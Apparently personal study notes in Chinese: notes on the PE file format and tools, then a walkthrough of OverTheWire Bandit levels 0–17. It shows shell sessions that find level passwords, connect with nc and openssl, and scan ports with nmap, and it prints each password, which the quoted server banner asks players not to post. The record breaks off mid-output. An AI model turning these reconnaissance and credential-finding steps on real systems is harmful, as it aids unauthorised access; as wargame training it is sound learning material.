    +000h    BYTE Name[8]; //节名称,如".text"
    union {
        +008h    DWORD               PhysicalAddress;      // 物理地址
        +008h    DWORD               VirtualSize;          // 节长度
    } Misc;
    +00Ch    DWORD               VirtualAddress;       // RVA
    +010h    DWORD               SizeOfRawData;        // 对齐后的节尺寸
    +014h    DWORD               PointerToRawData;     // 基于文件的偏移
    +018h    DWORD               PointerToRelocations; // 重定位的偏移
    +01Ch    DWORD               PointerToLinenumbers; // 行号表的偏移
    +020h    WORD                NumberOfRelocations;  // 重定位项数目
    +022h    WORD                NumberOfLinenumbers;  // 行号表中行号数目
    +024h    DWORD               Characteristics;      // 节属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

PE 文件的执行顺序

  1. 当一个 PE 文件 被执行时,PE 装载器 首先检查 DOS header 里的 PE header 的偏移量。如果找到,则直接跳转到 PE header 的位置。 当 PE装载器 跳转到 PE header 后,第二步要做的就是2. 检查 PE header 是否有效。如果该 PE header 有效,就跳转到 PE header 的尾部。
  2. 紧跟 PE header 尾部的是节表。PE装载器执行完第二步后开始读取节表中的节段信息,并采用文件映射( 在执行一个PE文件的时候,Windows并不在一开始就将整个文件读入内存,而是采用与内存映射的机制,也就是说,Windows装载器在装载的时候仅仅建立好虚拟地址和PE文件之间的映射关系,只有真正执行到某个内存页中的指令或者访问某一页中的数据时,这个页面才会被从磁盘提交到物理内存,这种机制使文件装入的速度和文件大小没有太大的关系 )的方法将这些节段映射到内存,同时附上节表里指定节段的读写属性。
  3. PE文件映射入内存后,PE装载器将继续处理PE文件中类似 import table (输入表)的逻辑部分。

ref

Dependency Walker

是个工具,探索动态链接函数的。

常见的DLL

常见的DLL程序

函数命名约定

Ex,是微软在更新新函数和旧函数不兼容时加入的东西。

而A和W结尾是指接受参数分别是ascii和unicode

导入导出

需要自己熟悉一些windows函数

PEview

工具,查看PE文件格式的

Resource Hacker

工具,查看资源节

其他工具

PEBrowse Professional

PE Explorer

About Lab

存放了很多实验报告

WarGame

一个十分优秀的免费靶场,非常适合新手入门或者高手休闲娱乐。

OverTheWire社区是一个提供wargame的网站,可以帮助安全爱好者以趣味的方式进行学习、练习安全知识。

bandit,熟悉linux和bash的有趣的网站

level0 ssh远程登录

ssh bandit0@bandit.labs.overthewire.org -p 2220
# 然后输入密码即可

level0 顺利拿到提示符

level1

要求使用cat命令,水

bandit0@bandit:~$ ll
total 24
drwxr-xr-x  2 root    root    4096 Apr 23 18:04 ./
drwxr-xr-x 70 root    root    4096 Apr 23 18:05 ../
-rw-r--r--  1 root    root     220 Jan  6  2022 .bash_logout
-rw-r--r--  1 root    root    3771 Jan  6  2022 .bashrc
-rw-r--r--  1 root    root     807 Jan  6  2022 .profile
-rw-r-----  1 bandit1 bandit0   33 Apr 23 18:04 readme
bandit0@bandit:~$ cat readme
NH2SXQwcBdpmTEzi3bvBHMM9H66vVXjL
bandit0@bandit:~$

level2

处理名字叫“-”的文件,这个由于会和参数解析混了,我的处理办法是加上“./”

bandit1@bandit:~$ ll
total 24
-rw-r-----  1 bandit2 bandit1   33 Apr 23 18:04 -
drwxr-xr-x  2 root    root    4096 Apr 23 18:04 ./
drwxr-xr-x 70 root    root    4096 Apr 23 18:05 ../
-rw-r--r--  1 root    root     220 Jan  6  2022 .bash_logout
-rw-r--r--  1 root    root    3771 Jan  6  2022 .bashrc
-rw-r--r--  1 root    root     807 Jan  6  2022 .profile
bandit1@bandit:~$ cat ./-
rRGizSaX8Mk1RTb1CNQoXTcYZWU6lgzi
bandit1@bandit:~$

level3

处理名字里有空格的文件,直接拿双引号包起来即可

bandit2@bandit:~$ ll
total 24
drwxr-xr-x  2 root    root    4096 Apr 23 18:04 ./
drwxr-xr-x 70 root    root    4096 Apr 23 18:05 ../
-rw-r--r--  1 root    root     220 Jan  6  2022 .bash_logout
-rw-r--r--  1 root    root    3771 Jan  6  2022 .bashrc
-rw-r--r--  1 root    root     807 Jan  6  2022 .profile
-rw-r-----  1 bandit3 bandit2   33 Apr 23 18:04 spaces in this filename
bandit2@bandit:~$ cat "spaces in this filename"
aBZ0W5EmUfAf7kHTQeOwd8bauFJ2lAiG
bandit2@bandit:~$

level4

处理文件夹,正确的方式应该是cd进去再处理,因为在这个阶段还不涉及绝对路径、相对路径之类的概念,但是我懒了

另外,还有个处理隐藏文件,可以使用ls -l命令,在大多数bash中会把ls -al写成别名ll

也可以使用ls -a

bandit3@bandit:~$ ll
total 24
drwxr-xr-x  3 root root 4096 Apr 23 18:04 ./
drwxr-xr-x 70 root root 4096 Apr 23 18:05 ../
-rw-r--r--  1 root root  220 Jan  6  2022 .bash_logout
-rw-r--r--  1 root root 3771 Jan  6  2022 .bashrc
drwxr-xr-x  2 root root 4096 Apr 23 18:04 inhere/
-rw-r--r--  1 root root  807 Jan  6  2022 .profile
bandit3@bandit:~$ ls inhere/
bandit3@bandit:~$ ll inhere/
total 12
drwxr-xr-x 2 root    root    4096 Apr 23 18:04 ./
drwxr-xr-x 3 root    root    4096 Apr 23 18:04 ../
-rw-r----- 1 bandit4 bandit3   33 Apr 23 18:04 .hidden
bandit3@bandit:~$ cat ./inhere/.hidden
2EW7BBsr6aMMoJ2HjW067dm8EgX26xNe
bandit3@bandit:~$

level5

bandit4@bandit:~$ ls
inhere
bandit4@bandit:~$ cd inhere/
bandit4@bandit:~/inhere$ ll
total 48
drwxr-xr-x 2 root    root    4096 Apr 23 18:04 ./
drwxr-xr-x 3 root    root    4096 Apr 23 18:04 ../
-rw-r----- 1 bandit5 bandit4   33 Apr 23 18:04 -file00
-rw-r----- 1 bandit5 bandit4   33 Apr 23 18:04 -file01
-rw-r----- 1 bandit5 bandit4   33 Apr 23 18:04 -file02
-rw-r----- 1 bandit5 bandit4   33 Apr 23 18:04 -file03
-rw-r----- 1 bandit5 bandit4   33 Apr 23 18:04 -file04
-rw-r----- 1 bandit5 bandit4   33 Apr 23 18:04 -file05
-rw-r----- 1 bandit5 bandit4   33 Apr 23 18:04 -file06
-rw-r----- 1 bandit5 bandit4   33 Apr 23 18:04 -file07
-rw-r----- 1 bandit5 bandit4   33 Apr 23 18:04 -file08
-rw-r----- 1 bandit5 bandit4   33 Apr 23 18:04 -file09
bandit4@bandit:~/inhere$ cat ./-file06
'�wk^j��M�;,�co9bandit4@bandit:~/inhere$
# 使用reset后
bandit4@bandit:~/inhere$ cat ./-file07
lrIWWI6bB37kxfiCQZqUdOIYfr6eEeqR
bandit4@bandit:~/inhere$

这里有一个讲了reset和clear的区别,很简单

level6

挺麻烦的一个鸡儿题

bandit5@bandit:~/inhere$ cd maybehere07
bandit5@bandit:~/inhere/maybehere07$ ll
total 56
drwxr-x---  2 root bandit5 4096 Apr 23 18:04 ./
drwxr-x--- 22 root bandit5 4096 Apr 23 18:04 ../
-rwxr-x---  1 root bandit5 3663 Apr 23 18:04 -file1*
-rwxr-x---  1 root bandit5 3065 Apr 23 18:04 .file1*
-rw-r-----  1 root bandit5 2488 Apr 23 18:04 -file2
-rw-r-----  1 root bandit5 1033 Apr 23 18:04 .file2
-rwxr-x---  1 root bandit5 3362 Apr 23 18:04 -file3*
-rwxr-x---  1 root bandit5 1997 Apr 23 18:04 .file3*
-rwxr-x---  1 root bandit5 4130 Apr 23 18:04 spaces file1*
-rw-r-----  1 root bandit5 9064 Apr 23 18:04 spaces file2
-rwxr-x---  1 root bandit5 1022 Apr 23 18:04 spaces file3*
bandit5@bandit:~/inhere/maybehere07$ cat .file2
P4L4vucdmLnm8I7Vl7jG1ApGSfjYKqJU

这里需要知道ll输出的这一大堆都是啥玩意儿,rwx分别代表可读可写可执行,剩下的看文档吧。

level7

要使用find了

# 我cd到根目录也没怎么发现,因此直接find搜索了,还挺快的,按理说linux自带这些破玩意儿不该这么快的。。。
bandit6@bandit:/$ find / -type f -size 33c -user bandit7 -group bandit6 2>/dev/null
/var/lib/dpkg/info/bandit7.password
bandit6@bandit:/$ cat /var/lib/dpkg/info/bandit7.password
z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S

那个斜杠是指定为根目录,然后就是大小、用户、组,最后有一个标准错误重定向到黑洞,不写也没事儿,我习惯了

level8

这个就是grep

bandit7@bandit:~$ find / -type f -name "data.txt" -exec grep -l "million" {} \; 2>/dev/null
/home/bandit7/data.txt
bandit7@bandit:~$ grep "millionth" data.txt
millionth	TESKZC0XvTetK0S9xNwm25STk5iWrBvP

其实另一个办法是打开文件然后用vim的搜索,我试了试也挺快的

level9

用一下sort即可

bandit8@bandit:~$ ll
total 56
drwxr-xr-x  2 root    root     4096 Apr 23 18:04 ./
drwxr-xr-x 70 root    root     4096 Apr 23 18:05 ../
-rw-r--r--  1 root    root      220 Jan  6  2022 .bash_logout
-rw-r--r--  1 root    root     3771 Jan  6  2022 .bashrc
-rw-r-----  1 bandit9 bandit8 33033 Apr 23 18:04 data.txt
-rw-r--r--  1 root    root      807 Jan  6  2022 .profile
bandit8@bandit:~$ sort data.txt | uniq -c | sort -n | head -n1
      1 EN632PlfYiZbn3PhVK3XOGSlNInNE00t
bandit8@bandit:~$

level10

好像是正则,我不太会,草草写了些

bandit9@bandit:~$ strings data.txt | grep -oE "==.*"
========== the#
========== password
========== is
========== G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s
bandit9@bandit:~$

level11

base64解码

bandit10@bandit:~$ cat data.txt | base64 -d
The password is 6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM
bandit10@bandit:~$

level12

使用tr

万幸查了一下,差点儿写个脚本。。。

bandit11@bandit:~$ cat data.txt | tr 'a-zA-Z' 'n-za-mN-ZA-M'
The password is JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv

level13

有点儿复杂啊,问的chatgpt然后才会的

# 先mkdir然后cp
bandit12@bandit:~$ cd /tmp/myname123
bandit12@bandit:/tmp/myname123$ xxd -r /tmp/myname123/data.txt > /tmp/myname123/data.bin
bandit12@bandit:/tmp/myname123$ file /tmp/myname123/data.bin
/tmp/myname123/data.bin: gzip compressed data, was "data2.bin", last modified: Sun Apr 23 18:04:23 2023, max compression, from Unix, original size modulo 2^32 581
bandit12@bandit:/tmp/myname123$ gzip -d -S .bin /tmp/myname123/data.bin
bandit12@bandit:/tmp/myname123$ ll
total 10628
drwxrwxr-x    2 bandit12 bandit12     4096 Jul 17 03:01 ./
drwxrwx-wt 3791 root     root     10801152 Jul 17 03:03 ../
-rw-rw-r--    1 bandit12 bandit12        0 Jul 17 02:39 bandit
-rw-rw-r--    1 bandit12 bandit12      581 Jul 17 02:59 data
-rw-rw-r--    1 bandit12 bandit12    20480 Jul 16 19:05 data5.tar
-rw-r--r--    1 bandit12 bandit12    10240 Apr 23 18:04 data6.tar
-rw-r--r--    1 bandit12 bandit12    10240 Apr 23 18:04 data8.tar
-rw-r--r--    1 bandit12 bandit12       49 Apr 23 18:04 data9
-rw-rw-r--    1 bandit12 bandit12      581 Jul 16 15:25 data.bz2
-rw-r-----    1 bandit12 bandit12     2642 Jul 16 19:00 data.hex
-rw-r-----    1 bandit12 bandit12     2642 Jul 17 02:50 data.txt
-rw-r-----    1 bandit12 bandit12     2642 Jul 17 02:34 mydata.txt
bandit12@bandit:/tmp/myname123$ cat data9
The password is wbWdlBxEir4CaE8LaPhauuOo6pwRmrDw
bandit12@bandit:/tmp/myname123$

level14

水,用私钥登录

bandit13@bandit:~$ ssh -i sshkey.private bandit14@localhost -p 2220
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit13/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit13/.ssh/known_hosts).
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

!!! You are trying to log into this SSH server with a password on port 2220 from localhost.
!!! Connecting from localhost is blocked to conserve resources.
!!! Please log out and log in again.


      ,----..            ,----,          .---.
     /   /   \         ,/   .`|         /. ./|
    /   .     :      ,`   .'  :     .--'.  ' ;
   .   /   ;.  \   ;    ;     /    /__./ \ : |
  .   ;   /  ` ; .'___,/    ,' .--'.  '   \' .
  ;   |  ; \ ; | |    :     | /___/ \ |    ' '
  |   :  | ; | ' ;    |.';  ; ;   \  \;      :
  .   |  ' ' ' : `----'  |  |  \   ;  `      |
  '   ;  \; /  |     '   :  ;   .   \    .\  ;
   \   \  ',  /      |   |  '    \   \   ' \ |
    ;   :    /       '   :  |     :   '  |--"
     \   \ .'        ;   |.'       \   \ ;
  www. `---` ver     '---' he       '---" ire.org


Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on
discord or IRC.

--[ Playing the games ]--

  This machine might hold several wargames.
  If you are playing "somegame", then:

    * USERNAMES are somegame0, somegame1, ...
    * Most LEVELS are stored in /somegame/.
    * PASSWORDS for each level are stored in /etc/somegame_pass/.

  Write-access to homedirectories is disabled. It is advised to create a
  working directory with a hard-to-guess name in /tmp/.  You can use the
  command "mktemp -d" in order to generate a random and hard to guess
  directory in /tmp/.  Read-access to both /tmp/ is disabled and to /proc
  restricted so that users cannot snoop on eachother. Files and directories
  with easily guessable or short names will be periodically deleted! The /tmp
  directory is regularly wiped.
  Please play nice:

    * don't leave orphan processes running
    * don't leave exploit-files laying around
    * don't annoy other players
    * don't post passwords or spoilers
    * again, DONT POST SPOILERS!
      This includes writeups of your solution on your blog or website!

--[ Tips ]--

  This machine has a 64bit processor and many security-features enabled
  by default, although ASLR has been switched off.  The following
  compiler flags might be interesting:

    -m32                    compile for 32bit
    -fno-stack-protector    disable ProPolice
    -Wl,-z,norelro          disable relro

  In addition, the execstack tool can be used to flag the stack as
  executable on ELF binaries.

  Finally, network-access is limited for most levels by a local
  firewall.

--[ Tools ]--

 For your convenience we have installed a few useful tools which you can find
 in the following locations:

    * gef (https://github.com/hugsy/gef) in /opt/gef/
    * pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
    * peda (https://github.com/longld/peda.git) in /opt/peda/
    * gdbinit (https://github.com/gdbinit/Gdbinit) in /opt/gdbinit/
    * pwntools (https://github.com/Gallopsled/pwntools)
    * radare2 (http://www.radare.org/)

 Both python2 and python3 are installed.

--[ More information ]--

  For more information regarding individual wargames, visit
  http://www.overthewire.org/wargames/

  For support, questions or comments, contact us on discord or IRC.

  Enjoy your stay!

bandit14@bandit:~$

level15

nc这个命令在复杂情况下需要自己写http请求的内容,挺离谱的,还是curl和python方便

一些学习的链接https://juejin.cn/post/6995203632387866631https://www.runoob.com/linux/linux-comm-nc.html,更多内容可以参考CSE365 sp23的talking web模块。

bandit14@bandit:/etc/bandit_pass$ cat bandit14
fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq
bandit14@bandit:/etc/bandit_pass$ cat bandit14 | nc localhost 30000
Correct!
jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt

bandit14@bandit:/etc/bandit_pass$

level16

bandit14@bandit:echo "jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt" | openssl s_client -connect localhost:30001 -ign_eof
Correct!
JQttfApK4SeyHwDlI9SXGR50qclOAil1

closed

level17

bandit16@bandit:~$ nmap -sV localhost -T5 -p 31000-32000
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-17 04:20 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00015s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE     VERSION
31046/tcp open  echo
31518/tcp open  ssl/echo
31691/tcp open  echo
31790/tcp open  ssl/unknown
31960/tcp open  echo
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31790-TCP:V=7.80%T=SSL%I=7%D=7/17%Time=64B4C185%P=x86_64-pc-linux-g
SF:nu%r(GenericLines,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20cu
SF:rrent\x20password\n")%r(GetRequest,31,"Wrong!\x20Please\x20enter\x20the
SF:\x20correct\x20current\x20password\n")%r(HTTPOptions,31,"Wrong!\x20Plea
SF:se\x20enter\x20the\x20correct\x20current\x20password\n")%r(RTSPRequest,
SF:31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x20password\
SF:n")%r(Help,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x
SF:20password\n")%r(SSLSessionReq,31,"Wrong!\x20Please\x20enter\x20the\x20
SF:correct\x20current\x20password\n")%r(TerminalServerCookie,31,"Wrong!\x2
SF:0Please\x20enter\x20the\x20correct\x20current\x20password\n")%r(TLSSess
SF:ionReq,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x20pa
SF:ssword\n")%r(Kerberos,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x
SF:20current\x20password\n")%r(FourOhFourRequest,31,"Wrong!\x20Please\x20e
SF:nter\x20the\x20correct\x20current\x20password\n")%r(LPDString,31,"Wrong
SF:!\x20Please\x20enter\x20the\x20correct\x20current\x20password\n")%r(LDA
SF:PSearchReq,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x
SF:20password\n")%r(SIPOptions,31,"Wrong!\x20Please\x20enter\x20the\x20cor
SF:rect\x20current\x20password\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.85 seconds

然后,要输入16的密码

bandit16@bandit:~$ openssl s_client -connect localhost:31790 -ign_eof
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 CN = localhost
verify error:num=18:self-signed certificate
verify return:1
depth=0 CN = localhost
verify error:num=10:certificate has expired
notAfter=Jul 17 03:32:59 2023 GMT
verify return:1
depth=0 CN = localhost
notAfter=Jul 17 03:32:59 2023 GMT
verify return:1
---
Certificate chain
 0 s:CN = localhost
   i:CN = localhost
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA1
   v:NotBefore: Jul 17 03:31:59 2023 GMT; NotAfter: Jul 17 03:32:59 2023 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDCzCCAfOgAwIBAgIEasML0jANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDDAls
b2NhbGhvc3QwHhcNMjMwNzE3MDMzMTU5WhcNMjMwNzE3MDMzMjU5WjAUMRIwEAYD
VQQDDAlsb2NhbGhvc3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDQ
WpK5aICLya01rGDXaLVwQpZqWmn75BPH3O2vrqMAu14iXbKtemseBnOaB3vSfu04
QNfWLYWKrnab4hd73/TOurIHq33MnsH8Yb+lzx6VfBq/FouTviT2QBE5cVlvQV63
QPjJZ4mBomudPpDXLfbHWxsH8BYxa6lSqBjs8EqOnfEL9SRoQ+H0w66NjpOnGtLO
l0oYAbmriOkmOht1tr1hoxiacNZa9WEOq01SNrIRGbhOPw07c7/rVXfz9dDBrhPQ
D7FpX/UDyZvJFM3I+sTpwoUj7Ypzvhim+kVY9lGRnzuy439yGovgURCiNwlXUpDA
/Kr/hRCriC3URJT4mWKdAgMBAAGjZTBjMBQGA1UdEQQNMAuCCWxvY2FsaG9zdDBL
BglghkgBhvhCAQ0EPhY8QXV0b21hdGljYWxseSBnZW5lcmF0ZWQgYnkgTmNhdC4g
U2VlIGh0dHBzOi8vbm1hcC5vcmcvbmNhdC8uMA0GCSqGSIb3DQEBBQUAA4IBAQBy
qV/aRIcHHbKSksYqANDBrkLgfXKXKeXMZBTBq3Q4rMLF/ux7tGU+2/YPAo/6L0IZ
2/UGcW+/msmgvBE3+j5FnIB/aoqp2M8fksOiaC8OrsJ6bbShEEV+q5VITosF/Nw0
qrpoXa+7l5IF/8tuTCpi4ZQGHX+uoRgufcGkK3c8Gxsb9Xtroz8se7yLU0VKLm4d
/H0Ozu4QkVTaQ+7971pXYHyip3tKuJbCeJOJledvqGvvcaIvE9S1vxEugQUq2K6u
DZfCLU3TR9l29QonH13HtF5mEDNE4KaMtYxM4B4Mo3KMUHVf4hi4nKJVpjs/FSiI
Vpv3P9pqfmYjEQjp7yIz
-----END CERTIFICATE-----
subject=CN = localhost
issuer=CN = localhost
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1339 bytes and written 373 bytes
Verification error: certificate has expired
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 10 (certificate has expired)
---
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: AD5693D41623D8997CC2EE94B1CC7C61F949EFBC34B80DC8421E8B82C6572B65
    Session-ID-ctx:
    Resumption PSK: AFE5847E9831517B3B0BCF4B511501803A902004393C9D3D926CA22524CCE716B6A771D7802C706EF3C94E8C264D4B95
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 7200 (seconds)
    TLS session ticket:
    0000 - a5 d8 4b ca c0 ad 23 28-64 e1 24 b6 18 97 bf 19   ..K...#(d.$.....
    0010 - c4 53 bd cd 78 c9 dd 28-f5 14 4c 9d 30 a0 18 97   .S..x..(..L.0...
    0020 - 5d d6 5b 92 2f 96 7a 0e-ac e2 49 bc e3 d1 a6 79   ].[./.z...I....y
    0030 - 73 37 ea 00 c4 4f 0a 07-4c 4e b9 f8 f4 fe 04 bd   s7...O..LN......
    0040 - cb a9 f5 31 28 a1 b9 07-fd cb 83 8b 8d 93 b8 7f   ...1(...........
    0050 - 51 10 1a b9 7c 4e 10 ab-4b 93 8c c7 88 9f 6e 85   Q...|N..K.....n.
    0060 - 87 e8 fc bc 3d f7 93 f0-2f 55 1d cf 64 80 7c 08   ....=.../U..d.|.
    0070 - f2 1c 95 b9 d1 3f 15 90-57 e1 b1 9e 93 87 1d 72   .....?..W......r
    0080 - 93 ed 83 b8 4b ef d2 bd-1d f5 ca 1b f9 d6 7a ff   ....K.........z.
    0090 - 13 fd 8f 40 43 fe 97 99-2a fa eb f9 52 ad b0 27   ...@C...*...R..'
    00a0 - be 2a a0 5c a7 fd 76 6a-22 58 a4 56 02 e7 f2 13   .*.\..vj"X.V....
    00b0 - 4b 01 58 44 ab 63 3d 3d-fa 7e f7 ac 66 8c ef da   K.XD.c==.~..f...
    00c0 - 79 db d0 58 9f c1 fe 8c-3f 95 19 ed a6 f6 08 e8   y..X....?.......

    Start Time: 1689568148
    Timeout   : 7200 (sec)
    Verify return code: 10 (certificate has expired)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: 731D8DE5B4509BB39289FED6CED817A731462808EFAF8C604A5BEE6E85CD12AB
    Session-ID-ctx:
    Resumption PSK: F18769CA70C1B23B9CAFAD3D8682E406B83AF8FC439A378D79ABBB19CD4B59EE837D9121AB1BA7FCCF1F761FA4AFB8F7
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 7200 (seconds)
    TLS session ticket:
    0000 - a5 d8 4b ca c0 ad 23 28-64 e1 24 b6 18 97 bf 19   ..K...#(d.$.....
    0010 - 23 10 a4 f3 c5 e4 25 65-c5 73 a7 ce d3 1b 98 bf   #.....%e.s......
    0020 - 1a 41 ff b2 2e 44 0f c6-a2 7c a6 12 0c 22 7a a9   .A...D...|..."z.
    0030 - 28 d6 09 17 d2 7a 97 5b-a3 37 fc 5c de 86 24 47   (....z.[.7.\..$G
    0040 - 78 20 db 23 15 d1 3d 77-19 b2 91 dc c7 43 d6 66   x .#..=w.....C.f
    0050 - 3c 04 a7 dd b9 32 e6 0f-16 a1 ab dd 92 99 18 e7   <....2..........
    0060 - 23 ad ab 79 3e af 2d ca-ea 4e 29 67 27 39 d2 d4   #..y>.-..N)g'9..
    0070 - e9 6f e0 5b be 0d d4 2d-07 e2 83 10 4a aa 94 20   .o.[...-....J..
    0080 - 1e 06 3d 42 df 74 91 99-43 cc bc ca 5c 59 74 f1   ..=B.t..C...\Yt.
    0090 - df 00 c4 16 44 2d a1 0f-db db 65 84 3b 89 58 b4   ....D-....e.;.X.
    00a0 - 81 71 91 ec 5c 5e a3 db-51 25 b4 37 e5 0d 6b 41   .q..\^..Q%.7..kA
    00b0 - 88 a8 dc 9d b3 02 5b 68-04 4c 01 cd cd a3 17 24   ......[h.L.....$
    00c0 - 4a fe f5 03 49 ab 60 1e-b3 eb 07 04 92 c5 ff ab   J...I.`.........

    Start Time: 1689568148
    Timeout   : 7200 (sec)
    Verify return code: 10 (certificate has expired)
    Extended master secret: no
    Max Early Data: 0
---
read R BLOCK

Wrong! Please enter the correct current password
closed

是从这里看出来要输入密码的!

bandit16@bandit:~$ openssl s_client -connect localhost:31790 -ign_eof
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 CN = localhost
verify error:num=18:self-signed certificate
verify return:1
depth=0 CN = localhost
verify error:num=10:certificate has expired
notAfter=Jul 17 03:32:59 2023 GMT
verify return:1
depth=0 CN = localhost
notAfter=Jul 17 03:32:59 2023 GMT
verify return:1
---
Certificate chain
 0 s:CN = localhost
   i:CN = localhost
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA1
   v:NotBefore: Jul 17 03:31:59 2023 GMT; NotAfter: Jul 17 03:32:59 2023 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDCzCCAfOgAwIBAgIEasML0jANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDDAls
b2NhbGhvc3QwHhcNMjMwNzE3MDMzMTU5WhcNMjMwNzE3MDMzMjU5WjAUMRIwEAYD
VQQDDAlsb2NhbGhvc3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDQ
WpK5aICLya01rGDXaLVwQpZqWmn75BPH3O2vrqMAu14iXbKtemseBnOaB3vSfu04
QNfWLYWKrnab4hd73/TOurIHq33MnsH8Yb+lzx6VfBq/FouTviT2QBE5cVlvQV63
QPjJZ4mBomudPpDXLfbHWxsH8BYxa6lSqBjs8EqOnfEL9SRoQ+H0w66NjpOnGtLO
l0oYAbmriOkmOht1tr1hoxiacNZa9WEOq01SNrIRGbhOPw07c7/rVXfz9dDBrhPQ
D7FpX/UDyZvJFM3I+sTpwoUj7Ypzvhim+kVY9lGRnzuy439yGovgURCiNwlXUpDA
/Kr/hRCriC3URJT4mWKdAgMBAAGjZTBjMBQGA1UdEQQNMAuCCWxvY2FsaG9zdDBL
BglghkgBhvhCAQ0EPhY8QXV0b21hdGljYWxseSBnZW5lcmF0ZWQgYnkgTmNhdC4g
U2VlIGh0dHBzOi8vbm1hcC5vcmcvbmNhdC8uMA0GCSqGSIb3DQEBBQUAA4IBAQBy
qV/aRIcHHbKSksYqANDBrkLgfXKXKeXMZBTBq3Q4rMLF/ux7tGU+2/YPAo/6L0IZ
2/UGcW+/msmgvBE3+j5FnIB/aoqp2M8fksOiaC8OrsJ6bbShEEV+q5VITosF/Nw0
qrpoXa+7l5IF/8tuTCpi4ZQGHX+uoRgufcGkK3c8Gxsb9Xtroz8se7yLU0VKLm4d
/H0Ozu4QkVTaQ+7971pXYHyip3tKuJbCeJOJledvqGvvcaIvE9S1vxEugQUq2K6u
DZfCLU3TR9l29QonH13HtF5mEDNE4KaMtYxM4B4Mo3KMUHVf4hi4nKJVpjs/FSiI
Vpv3P9pqfmYjEQjp7yIz
-----END CERTIFICATE-----
subject=CN = localhost
issuer=CN = localhost
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1339 bytes and written 373 bytes
Verification error: certificate has expired
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 10 (certificate has expired)
---
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Session-ID: 1B8DD2D7E7B861C8494FB2E901FEB50552571BFE7200C45C57EEACE66795AEEA
    Session-ID-ctx:
    Resumption PSK: 25F7290250EB5F41F5C184E597BD8493DFD4EC4E8965B10CE6A409D2909B370F30DB9A1E965F680CCD6F9C9E3BC4D0C6
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 7200 (seconds)
    TLS session ticket:
    0000 - a5 d8 4b ca c0 ad 23 28-64 e1 24 b6 18 97 bf 19   ..K...#(d.$.....
    0010 - a1 6b 8c 90 89 4b 8b e8-df 1e 82 05 28 ad a8 5f   .k...K......(.._
    0020 - 65 f3 03 76 14 8f d5 97-8a a5 28 ea 20 2f 06 55   e..v......(. /.U
    0030 - 16 ba 4b 88 de ab 7e 00-1c 76 ba 08 b1 e7 0f a9   ..K...~..v......
    0040 - 1d 53 2a 31 16 6b 02 0d-2e dd e7 9a f4 9a e8 13   .S*1.k..........
    0050 - 13 a1 20 67 4c 24 07 53-18 c1 68 56 30 f4 92 c3   .. gL$.S..hV0...
    0060 - b5 5b a6 4d 99 ff 16 fd-30 72 9b 0e f7 f2 c6 ab   .[.M....0r......
